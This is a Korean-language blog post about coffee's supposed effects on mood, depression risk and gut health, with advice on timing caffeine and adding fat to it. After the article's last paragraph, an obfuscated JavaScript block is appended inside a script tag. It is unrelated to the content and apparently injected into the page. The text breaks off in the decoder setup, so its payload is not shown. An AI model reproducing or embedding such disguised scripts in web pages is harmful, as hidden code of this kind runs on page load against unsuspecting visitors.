\ucee4\ud53c\uac00 \ub2e4\ub978 \uce74\ud398\uc778 \uc74c\ub8cc\uc640 \uac19\uc774 \uac74\uac15\ud55c \uc591\uc758 \ud56d\uc0b0\ud654\uc131\ubd84\uacfc \uc601\uc591 , \uadf8\ub9ac\uace0 \uc6b0\ub9ac \uc2e0\uccb4 \uae30\ub2a5 \ud5a5\uc0c1\uacfc \ud65c\ub825\uc744 \uc8fc\ub294 \uc131\ubd84\ub4e4\uc744 \uace0\ub8e8 \ud568\uc720\ud558\uace0 \uc788\uc9c0\ub9cc \ucee4\ud53c\uac00 \uac00\uc7a5 \ube5b\uc744 \ubc1c\ud558\ub294 \ubd80\ubd84\uc740 \ubc14\ub85c \uc6b0\ub9ac\uc758 \uae30\ubd84\uc5d0 \ubbf8\uce58\ub294 \uc601\ud5a5\uc785\ub2c8\ub2e4 . \ucee4\ud53c \uc12d\ucde8\uac00 \uc6b0\uc6b8\uc99d \ubc1c\ubcd1\ub960 \uac10\uc18c\uc640 \ub9e4\uc6b0 \ubc00\uc811\ud55c \uad00\uacc4\uac00 \uc788\ub2e4\ub294 \uc810\uc740 \uc774\ubbf8 \ub110\ub9ac \ubc1d\ud600\uc9c4 \ubc14 \uc788\uc8e0 . \ucee4\ud53c\uc5d0 \ud568\uc720\ub41c \uc591\uacfc \ube44\uc2b7\ud55c \uc591\uc758 \uce74\ud398\uc778\uc744 \ub2e4\ub978 \uc720\uc0ac \uc74c\ub8cc\ub97c \uc990\uaca8 \ub9c8\uc2dc\ub294 \uc0ac\ub78c\ub4e4 \ub610\ud55c \uc6b0\uc6b8\uc99d \ubc1c\ubcd1\uc728\uc774 13 \ud37c\uc13c\ud2b8 \uac00\ub7c9 \ub354 \ub0ae\uc558\uace0 \uc790\uc0b4 \ud655\ub960 \ub610\ud55c 45 \ud37c\uc13c\ud2b8\ub098 \ub0ae\uc558\ub2e4\uace0 \ud569\ub2c8\ub2e4 . \ucee4\ud53c\uc5d0 \ud568\uc720\ub41c \uc138\ub85c\ud1a0\ub2cc \uc131\ubd84 \ub355\uc778\uc9c0 \uc544\ub2c8\uba74 \ub2e8\uc21c\ud788 \ud589\ubcf5\ud55c \uc0ac\ub78c\ub4e4\uc774 \uc720\ub3c5 \ucee4\ud53c\ub97c \ub354 \ub9ce\uc774 \ub9c8\uc2dc\ub294 \uac74\uc9c0\ub294 \uc798 \ubaa8\ub974\uaca0\uc9c0\ub9cc , \ud604\uc7ac \ud655\uc2e4\ud55c \uac83\uc740 \ucee4\ud53c\ub294 \uac04 \ubcf4\ud638\uc5d0\ub3c4 \ub6f0\uc5b4\ub09c \ud6a8\ub2a5\uc744 \ubcf4\uc778\ub2e4\ub294 \uc0ac\uc2e4\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc38\uac00\uc790\ub4e4\ub85c \ud558\uc5ec\uae08 3 \uc8fc\ub3d9\uc548 \ud558\ub8e8\uc5d0 \ucee4\ud53c\ub97c 3 \uc794\uc529 \ub9c8\uc2dc\uac8c\ub054 \ud55c \uacb0\uacfc \uc7a5 \uac74\uac15\uc774 \uac1c\uc120\ub41c \uc810\ub3c4 \ud655\uc778\ub418\uc5c8\uc8e0 . \uc2e4\uc81c\ub85c \uc6b0\ub9ac\uc758 \uba74\uc5ed\ub825\uacfc \uc2e0\uacbd\uc804\ub2ec\ubb3c\uc9c8\uc758 \uc131\uc7a5\uc774 \uc7a5\uc5d0\uc11c \ub300\ubd80\ubd84 \uc774\ub8e8\uc5b4\uc9c0\ub294 \uac83\uc744 \uc0dd\uac01\ud574\ubcf4\uba74 \uc65c \ucee4\ud53c\uac00 \uc6b0\uc6b8\uc99d\uc5d0 \ub3c4\uc6c0\uc744 \uc8fc\ub294 \uc9c0 \uadf8 \uc774\uc720\uac00 \uc124\uba85\ub418\ub294 \uac83 \uac19\uad70\uc694.<\/p>\n\n\n\n<p>\ucc28\uc758 \uc9d1\uc911\ub825 \ud5a5\uc0c1 \ud6a8\uacfc\uc774\ub4e0 , \uc544\ub2c8\uba74 \ucee4\ud53c\uc758 \uae30\ubd84 \uac1c\uc120 \ud6a8\uacfc\uc774\ub4e0\uc9c0 \uc0c1\uad00\uc5c6\uc774 \uce74\ud398\uc778 \uc790\uccb4\ub97c \uc81c\ub300\ub85c \ub9c8\uc2dc\uace0 \uadf8 \ud6a8\ub2a5\uc744 \ubcf4\uae30 \uc704\ud574\uc120 \ud0c0\uc774\ubc0d\uacfc \uc800\ud56d\uc131\uc5d0 \uc2e0\uacbd\uc744 \uc368\uc8fc\uc5b4\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8\uac83\uc774 \ubc14\ub85c \ucee4\ud53c\ub97c \uc544\uce68\uc5d0 \ub9c8\uc2dc\ub294 \ub300\uc2e0 \uc624\ud6c4 \uc2dc\uac04\ub300\uc5d0 \ub9c8\uc154\uc8fc\ub294 \uac8c \ub354 \uc88b\uc740 \uc774\uc720\uc774\uc8e0 . \uce74\ud398\uc778\uc774 \uc6b0\ub9ac \ud608\ub958\uc5d0 \ud761\uc218\ub418\ub294 \uc18d\ub3c4\ub97c \uc801\uc815 \uc218\uc900\uc73c\ub85c \ub2a6\ucdb0\uc8fc\uc5b4\uc57c \uc774 \uc131\ubd84\uc774 \uc6b0\ub9ac\ub97c \uc21c\uc2dd\uac04\uc5d0 \ud558\ub298 \ub05d\uae4c\uc9c0 \ub0b4\ub358\uc84c\ub2e4\uac00 \ub3c4\ub85c \ubc14\ub2e5\uc5d0 \uae09 \ub0b4\ub3d9\ub315\uc774\uce58\ub294 \uac83\uc744 \ub9c9\uc744 \uc218 \uc788\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4 . \uc774\uac78 \uc2e4\ucc9c\ud558\uae30 \uc704\ud55c \uc88b\uc740 \ubc29\ubc95\uc774 \ubc14\ub85c \ucee4\ud53c\uc5d0 \uc9c0\ubc29\uc744 \ub354\ud558\ub294 \uac83\uc785\ub2c8\ub2e4 . ( \uc6b0\ub9ac\uac00 \uc544\uce68 \uc2dd\uc0ac\uc5d0 \ud558\ub294 \uac83\ucc98\ub7fc \ub9d0\uc774\uc8e0 .) \uc800\ub294 \uc774\uac83\uc744 \ucd5c\uc801\uc758 \uce74\ud398\uc778\uc774\ub77c\uace0 \ubd80\ub985\ub2c8\ub2e4.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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